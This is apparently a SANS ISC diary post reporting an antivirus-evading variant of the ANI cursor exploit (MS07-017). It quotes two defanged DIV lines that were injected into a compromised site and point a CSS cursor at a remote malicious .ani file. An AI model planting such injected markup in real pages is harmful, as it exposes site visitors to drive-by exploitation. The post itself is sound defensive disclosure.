Threat Level: green Handler on Duty: Guy Bruneau

SANS ISC: New variant of ANI (MS07-017) exploit - Internet Security | DShield SANS ISC InfoSec Forums


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New variant of ANI (MS07-017) exploit

What a shocker - malware authors are playing cat 'n' mouse with antivirus signatures.

Roger Chiu of Malware-Test Lab submitted a .ani file observed in the wild that was not detected as malicious by any popular antivirus tools. As with many other ANI attacks, this was presented as a CURSOR object in a DIV element on a compromised web site:

<DIV style="CURSOR: url(hxxp://xxx.xxx.xxx.xxx/mcs2001/chat/css.js)"></DIV>
<DIV style="CURSOR: url(hxxp://xxx.xxx.xxx/customer/image/css.js)"></DIV>


This latest variant was submitted to the A/V community for inclusion and the site owners contacted.

Thanks, Roger.

George

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